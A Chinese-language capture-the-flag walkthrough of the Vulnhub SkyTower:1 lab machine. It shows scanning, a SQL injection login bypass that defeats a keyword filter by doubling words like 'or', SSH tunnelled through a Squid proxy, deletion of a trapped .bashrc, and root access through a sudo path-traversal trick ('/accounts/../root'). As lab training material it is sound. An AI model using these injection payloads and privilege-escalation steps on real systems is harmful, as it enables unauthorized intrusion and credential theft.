【Vulnhub通关】SkyTower:1


准备工作

靶机基本信息

靶机名称:SkyTower 1

操作系统:Linux

虚拟机软件:VirtualBox (可手动转换)

网络连接方式:桥接至物理网络

渗透测试目标:获取靶机root权限并读取Flag文件

下载地址:1. SkyTower: 1 ~ VulnHub(VBox版)

2. SkyTower.7z_免费高速下载|百度网盘-分享无限制(推荐VMware版)

环境配置

将VMware版的虚拟机压缩包下载后解压,打开VMware Workstation,点击 主页 => 文件 => 打开,在弹出的文件选择窗口中选中SkyTower.ovf即可导入


准备工作

IP地址发现

在Kali Linux中,使用netdiscover工具进行主机发现:

shell 复制代码
netdiscover -r 192.168.2.0/24

如图,MAC设备名为VMware, Inc.的主机即为靶机,IP地址为192.168.2.129

防火墙探测

知道靶机的IP地址之后,我们对其进行防火墙信息收集。首先使用ping命令进行ICMP探测:

Text 复制代码
┌──(root㉿hacker)-[/home/hacker]
└─# ping -c 4 192.168.2.129
PING 192.168.2.129 (192.168.2.129) 56(84) bytes of data.
64 bytes from 192.168.2.129: icmp_seq=1 ttl=64 time=2.04 ms
64 bytes from 192.168.2.129: icmp_seq=2 ttl=64 time=1.00 ms
64 bytes from 192.168.2.129: icmp_seq=3 ttl=64 time=0.975 ms
64 bytes from 192.168.2.129: icmp_seq=4 ttl=64 time=0.980 ms

--- 192.168.2.129 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 0.975/1.248/2.038/0.455 ms

看来攻击机和靶机的连通性正常。下面使用Nmap工具进行ACK扫描:

shell 复制代码
nmap -sA -T4 -p- 192.168.2.129

看来靶机上存在防火墙,而且22端口被过滤

网络服务扫描

知道了靶机的防火墙状态后,我们使用Nmap对其进行扫描:

shell 复制代码
nmap -sS -sV -A -p- -oN ./tcp_result.txt 192.168.2.129
端口 状态 传输层协议 应用层协议 详细信息
22 过滤 TCP SSH 未知
80 开启 TCP HTTP Apache httpd 2.2.22 ((Debian))
3128 开启 TCP HTTP-Proxy Squid http proxy 3.1.20

可以看到靶机原本开启了SSHHTTPHTTP应用层代理三个服务,但SSH服务的22端口被防火墙屏蔽了,这里合理怀疑是要我们通过HTTP代理服务来转发SSH连接请求

此外,还发现靶机的操作系统为Debian Linux,内核版本为Linux 3.2-3.16之间。


服务探测

Web应用程序(80端口)

打开浏览器,访问网址:http://192.168.2.129/

发现是一个登录框。查看网页源代码:

再次发现它仅仅是一个登录框......

除此之外还发现了关键词Skytech,尝试访问,报404

使用gobuster进行目录扫描:

shell 复制代码
gobuster dir -u http://192.168.2.129/ -w ./directory-list-1.0.txt -t 15 

(这里的字典为/usr/share/wordlists/dirbuster/directory-list-1.0.txt

结合以上信息,可以判断靶机Web服务存在以下目录和文件:

  • /index
  • /background     =>     登录页背景图
  • login.php      =>     登录页面

最后再来一波nikto漏洞扫描:

shell 复制代码
nikto -h http://192.168.2.129

从中可以得到以下关键信息:

  1. 靶机PHP的版本为PHP/5.4.4-14+deb7u9
  2. 靶机Web服务支持的HTTP请求头:OPTIONSGETHEADPOST

下面还是访问主页登录框,随便输入用户名和密码,使用BurpSuite抓取路由信息:

可以看到登录信息使用POST方法传递,email参数为用户邮箱信息,password为用户密码信息。

尝试在email参数后面加一个英文引号:

经典!!

发现SQL注入点:http://192.168.2.129/login.php [POST] email={INJECT}&password=password


渗透测试

确定SQL注入点之后,尝试使用sleep()函数 构造注入语句使程序暂停执行10秒。推测后台SQL语句如下:

SQL 复制代码
SELECT id FROM `tb_users` WHERE email = '/*{EMAIL}*/' AND password = '/*{PASS}*/'

尝试构造:Skytech'+or+sleep(10)#,但是or关键字似乎被删除了:

直接双写or关键字:Skytech'+oorr+sleep(10)#

成功!

不过后续尝试SQL报错注入时,发现连英文逗号什么的都被过滤了。。。算了,直接登录绕过。。

构造语句:'+oorr+true#

看来连布尔值也被删除了。。。继续双写绕过:Skytech'+oorr+trtrueue

绕过登录成功,也拿到了登录信息,不过这封信的内容属实非常逆天。。

登录信息如下:

  • 用户名:john
  • 密码:hereisjohn

不过要登录靶机的SSH,就必须通过3128端口的HTTP代理服务 来将我们的流量转发到靶机的22端口,而我们可以通过proxychains工具来转发SSH流量

编辑/etc/proxychains4.conf文件,在配置文件最后一行添加如下文本:

Text 复制代码
http         192.168.2.129 3128

连接SSH:

Text 复制代码
┌──(root㉿hacker)-[/home/hacker]
└─# proxychains ssh john@192.168.2.129
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  192.168.2.129:3128  ...  192.168.2.129:22  ...  OK
The authenticity of host '192.168.2.129 (192.168.2.129)' can't be established.
ECDSA key fingerprint is SHA256:QYZqyNNW/Z81N86urjCUIrTBvJ06U9XDDzNv91DYaGc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.129' (ECDSA) to the list of known hosts.
john@192.168.2.129's password: 
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 20 07:41:08 2014

Funds have been withdrawn
Connection to 192.168.2.129 closed.

连接是连上了,但连上之后立马退出了。。。。

推测是~/.bashrc文件有问题,直接执行命令删除:

shell 复制代码
proxychains ssh -l john 192.168.2.129 'rm -rf ~/.bashrc'

再次尝试登录:

成功!!!

直接passwd改密码:

Text 复制代码
john@SkyTower:~$ passwd
Changing password for john.
(current) UNIX password: **********
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully

权限提升

本地信息收集

进入系统之后,首先使用LinPeas工具进行信息收集。

操作系统基本信息

CVE漏洞信息

主机进程信息

计划任务信息

系统用户信息

网站信息

特殊权限文件信息

经过整理,我们得出以下信息:

  1. 靶机操作系统为Debian Linux,内核版本为Linux version 3.2.0-4-amd64
  2. 系统Sudo版本为1.8.5p2
  3. 针对靶机操作系统,有内核漏洞可使用
  4. 靶机启动了MySQL服务,端口号为3306
  5. 靶机有4个高价值用户:rootjohnsarawilliam
  6. 靶机的网站绝对路径为/var/www/,网站中间件为Apache

经过分析,决定先从Web应用程序的源代码下手,找到数据库的登录信息。

登录数据库

我们首先查看/var/www/login.php的内容:

PHP 复制代码
<?php

$db = new mysqli('localhost', 'root', 'root', 'SkyTech');

if($db->connect_errno > 0){
    die('Unable to connect to database [' . $db->connect_error . ']');

}

$sqlinjection = array("SELECT", "TRUE", "FALSE", "--","OR", "=", ",", "AND", "NOT");
$email = str_ireplace($sqlinjection, "", $_POST['email']);
$password = str_ireplace($sqlinjection, "", $_POST['password']);
                                                                                                                                                                                
$sql= "SELECT * FROM login where email='".$email."' and password='".$password."';";                                                                                             
$result = $db->query($sql);                                                                                                                                                     
                                                                                                                                                                                
                                                                                                                                                                                
if(!$result)                                                                                                                                                                    
    die('There was an error running the query [' . $db->error . ']');                                                                                                           
if($result->num_rows==0)                                                                                                                                                        
    die('<br>Login Failed</br>');                                                                                                                                               
                                                                                                                                                                                
$row = $result->fetch_assoc();                                                                                                                                                  
                                                                                                                                                                                
echo "<HTML>";
echo '
      <div style="height:100%; width:100%;background-image:url(\'background.jpg\');
                                background-size:100%;
                                background-position:50% 50%;
                                background-repeat:no-repeat;">
      <div style="
                  padding-right:8px;  
                  padding-left:10px; 
                  padding-top: 10px;  
                  padding-bottom: 10px;  
                  background-color:white;     
                  border-color: #000000;
                  border-width: 5px;
                  border-style: solid;
                  width: 400px;
                  height:430px;
                  position:absolute;
                  top:50%;
                  left:50%;
                  margin-top:-215px; /* this is half the height of your div*/  
                  margin-left:-200px;
                                ">
        ';
echo "<br><strong><font size=4>Welcome ".$row["email"]."</font><br /> </br></strong>";
echo "As you may know, SkyTech has ceased all international operations.<br><br> To all our long term employees, we wish to convey our thanks for your dedication and hard work.<br><br><strong>Unfortunately, all international contracts, including yours have been terminated.</strong><br><br> The remainder of your contract and retirement fund, <strong>$2</strong> ,has been payed out in full to a secure account.  For security reasons, you must login to the SkyTech server via SSH to access the account details.<br><br><strong>Username: ".explode("@",$row["email"])[0]."</strong><br><strong>Password: ".$row["password"]."</strong>";
echo " <br><br> We wish you the best of luck in your future endeavors. <br> </div> </div>";
echo "</HTML>"

?>

程序首先创建了一个MySQL操作对象,随后定义了一个名为$sqlinjection的数组,里面存放了一些SQL关键字,接着接收$_POST数组中的用户名和密码,并将里面的关键字替换为空字符串后就带入了SQL查询中(漏洞点)。最后,在登录后的页面中,网页显示的SSH登录信息是从SkyTech数据库中查询出来的。也就是说,SkyTech数据库中存放着靶机用户的登录信息。

获取到了MySQL的登录信息:

  • 用户名:root
  • 密码:root

尝试登录:

成功!!

查看数据库中的用户密码信息:

SQL 复制代码
USE `SkyTech`;
SHOW TABLES;
SELECT * FROM `login`;

发现3组用户密码信息:

  • 用户名:john
  • 密码:hereisjohn
  • 用户名:sara

  • 密码:ihatethisjob

  • 用户名:william

  • 密码:senseable

Linux基础命令提权

我们登录到sara用户:

shell 复制代码
proxychains ssh -l sara 192.168.2.129 'rm -rf ~/.bashrc'
proxychains ssh sara@192.168.2.129

然后使用sudo -l查看用户权限:

发现该用户可以以root身份使用如下命令:

  • /bin/cat /accounts/*
  • /bin/ls /accounts/*

我们首先看看/account目录中的文件:

Text 复制代码
sara@SkyTower:~$ ls -lA /accounts
total 0

看来里面空无一物,但为什么靶机作者要设置这条命令?

突然想到了可以试试使用相对路径 ,去读取/root目录。

执行如下命令:

shell 复制代码
sudo ls /accounts/../root
sudo cat /accounts/../root/flag.txt

找到登录信息:

  • 用户名:root
  • 密码:theskytower

好好好,直接登录:

成功!!!!


Flag文件展示

文件名:flag.txt
文件大小:69.00 Bytes
MD5:f76468f696081898b2234f1d1bf99640
SHA256:5f2cbddc8b7c7f7476fe5d9ac0eb571dcf35bd3b7336c806273a801ad0ba5913

文件内容:


本次靶机渗透到此结束

相关推荐
用户9623779544810 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机14 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机14 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户9623779544815 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star15 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544819 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行5 天前
网络安全总结
安全·web安全
red1giant_star5 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透6 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全